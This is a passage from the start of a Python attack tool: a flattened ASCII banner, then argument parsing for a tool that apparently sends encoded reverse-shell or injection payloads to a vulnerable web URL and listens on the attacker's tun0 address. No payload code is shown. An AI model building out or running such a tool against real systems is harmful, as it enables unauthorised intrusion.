$$ ____/ $$ | $$ | $$ |$$ | $$ | \____$$\ $$ | $$ |$$$$$$$$ |$$ |$$ | $$ | $$ | $$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ ____|$$ |$$ | $$ | \$$$$$\$$$$ |$$ | $$ |\$$$$$$ |$$ | $$ |\$$$$$$$\ $$ |$$ | \__| \_____\____/ \__| \__| \______/ \__| \__| \_______|\__|\__| V 1.0 ######################################################################## ------------------------------------ | Authors: [AbuQasem] & [AlBalouli] | ------------------------------------ \n ''' return banner if __name__ == '__main__': try: colors = Colors(ColorsSet.WHITE) print(colors.get_colored_text(get_banner(), ColorsSet.GREEN)) parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) try: ip_address = netifaces.ifaddresses('tun0')[2][0]['addr'] parser.add_argument('-H', '--host', help='LOCAL IP ADDRESS', default=ip_address) except: ip_address = None parser.add_argument('-H', '--host', help='LOCAL IP ADDRESS', required=True) parser.add_argument('-p', '--port', help='LOCAL PORT NUMBER', type=int, default=9001) parser.add_argument("-n", "--nodejs", help='Use Nodejs Payloads', action='store_true') parser.add_argument("-f", "--file", help='Request file') parser.add_argument("-t", "--type", help='Choose OS [windows/linux]', type=str, default='linux') parser.add_argument("-u", "--url", help='Target url [http://localhost:8888/Vulnerable.php?meow=PWNME]') parser.add_argument("-d", "--data", help='Post data') parser.add_argument("-P", "--payload", help='Payload type [encoded/plain]', default='encoded') parser.add_argument("-c", "--cookies", help='Enter Cookie')